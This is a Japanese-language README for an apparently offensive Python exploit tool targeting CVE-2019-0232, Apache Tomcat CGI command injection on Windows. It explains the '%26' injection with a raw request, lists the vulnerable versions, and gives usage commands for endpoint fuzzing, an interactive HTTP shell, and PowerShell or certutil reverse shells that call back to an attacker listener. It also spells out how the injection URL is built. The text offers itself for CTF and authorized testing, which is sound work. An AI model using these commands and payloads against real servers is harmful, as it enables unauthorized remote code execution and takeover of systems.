
Apache Tomcat CGI Servlet RCE (Windows)
認可されたCTF/ペネトレーションテスト専用の学習用PoCです。
このツールを、自分が所有していない、または明示的な書面による許可を得ていないシステムに対して実行することは違法です。
CVE-2019-0232は、Windows上のApache Tomcatにおけるリモートコード実行の脆弱性です。
CGIサーブレットがenableCmdLineArguments=true(パッチ適用前のWindowsではデフォルト)になっている場合、TomcatはHTTPクエリ文字列をそのままRuntime.exec()を介してCGIバッチファイルのコマンドライン引数として渡します。Windowsでは、Runtime.exec()は呼び出しをcmd.exe /cでラップするため、&コマンドセパレータが引数内で有効になります。
攻撃者は、URLに&(URLエンコードで%26)を含めることで、2つ目のOSコマンドを注入できます。
GET /cgi-bin/cmd.bat?%26whoami HTTP/1.1
# Tomcat URL-decodes → cmd.exe /c cmd.bat &whoami
# cmd.exe が & を認識し、cmd.bat 終了後に whoami を実行
| ブランチ | 脆弱性のある範囲 | 修正バージョン |
|---|---|---|
| 9.0.x | 9.0.0.M1 – 9.0.17 | 9.0.18 |
| 8.5.x | 8.5.0 – 8.5.39 | 8.5.40 |
| 7.0.x | 7.0.0 – 7.0.93 | 7.0.94 |
必要条件: conf/web.xmlでenableCmdLineArguments=true(パッチ適用前のWindowsではデフォルト)
-w)--cmd)certutilステイガー(フォールバック)System32、Windows、Wbem、PowerShellを自動設定し、whoami、ipconfig、netstat、powershell.exeがフルパスなしで動作するように2>&1を追加し、エラー出力が表示されるように--proxy http://127.0.0.1:8080でトラフィックをルーティングgit clone https://github.com/blackjuker2/CVE-2019-0232.git
cd CVE-2019-0232
pip install -r requirements.txt
Python 3.8以上が必要。
python3 cve_2019_0232.py -t <TARGET_URL> [options]
| フラグ | 説明 |
|---|---|
--auto | 列挙→ファジング→対話型シェルにドロップ |
--enum | TomcatバージョンとCGIパスのみを列挙 |
--fuzz | アクセス可能な.bat/.cmdエンドポイントをファジング |
--cmd COMMAND | 単一のコマンドを実行 |
--interactive | 対話型HTTPシェルループ |
--reverse-shell | リバースシェルを起動(--lhostが必要) |
自動モード — スクリプトにすべてを見つけさせる:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto
既知のエンドポイントに対する単一コマンド:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami
対話型シェルループ:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive
完全自動チェーン → リバースシェル(別途ncは不要):
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --auto --reverse-shell --lhost 10.10.14.x --lport 4444
スクリプトは--lportで独自のTCPリスナーを開き、PowerShellペイロードを発射し、ターゲットがコールバックした時に対話型シェルにドロップします。
既知のパスに対するPowerShellリバースシェル:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444
certutilステイガー(PowerShellがブロックされている場合):
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --reverse-shell --lhost 10.10.14.x --lport 4444 --shell-method certutil
ファジング用のカスタムワードリスト:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 --fuzz -w /usr/share/dirb/wordlists/common.txt
ファイル拡張子のないエントリは、自動的に.batと.cmdの両方としてプローブされます。
Burp Suite経由のルーティング:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --cmd whoami --proxy http://127.0.0.1:8080
各リクエストの前に生の注入URLを表示:
python3 cve_2019_0232.py -t http://10.10.10.x:8080 -p /cgi/cmd.bat --interactive --show-url
positional / required:
-t, --target URL ターゲットのベースURL 例: http://10.10.10.x:8080
path:
-p, --path PATH 既知のCGIスクリプトパス 例: /cgi/cmd.bat
modes:
--auto 完全チェーン: 列挙→ファジング→対話型
--enum TomcatバージョンとCGIパスを列挙
--fuzz アクセス可能なCGIスクリプトエンドポイントをファジング
--cmd COMMAND 単一のコマンドを実行し出力を表示
--interactive 対話型コマンドループ(HTTPシェル)
--reverse-shell PowerShellリバースシェルを送信
reverse shell:
--lhost IP リスナーIP(HTB/OSCPではtun0を使用)
--lport PORT リスナーポート(デフォルト: 4444)
--shell-method {ps,certutil}
ペイロードタイプ: ps(デフォルト)またはcertutilステイガー
options:
-w, --wordlist FILE ファジングする追加のCGI名(1行に1つ)
--threads N ファジングスレッド数(デフォルト: 15)
--timeout N HTTPタイムアウト(秒)(デフォルト: 10)
--proxy URL HTTPプロキシ 例: http://127.0.0.1:8080
--no-ssl-verify TLS証明書の検証を無効化
--show-url 各リクエストの前に完全な注入URLを表示
スクリプトは次の3つのステップで注入URLを構築します:
PATH注入 — コマンドを、最初にPATHを設定するグループでラップします:
(SET PATH=C:\Windows\System32;C:\Windows;...&echo.&<your command> 2>&1)
echo.は空行を出力し、TomcatのCGIヘッダーパーサーを満足させるため、レスポンスボディが表示されます。
URLエンコーディング — スペースは+に、特殊文字はurllib.parse.quoteにより%XXになります。
注入ポイント — エンコードされたグループは%26(&セパレータ)の後に配置されます:
/cgi/cmd.bat?%26(SET+PATH=...%26echo.%26whoami+2>%261)
このツールは教育目的および認可されたセキュリティテスト専用として提供されます。
作者は、このツールの誤用または損害について一切の責任を負いません。
常にシステムをテストする前に明示的な書面による許可を得てください。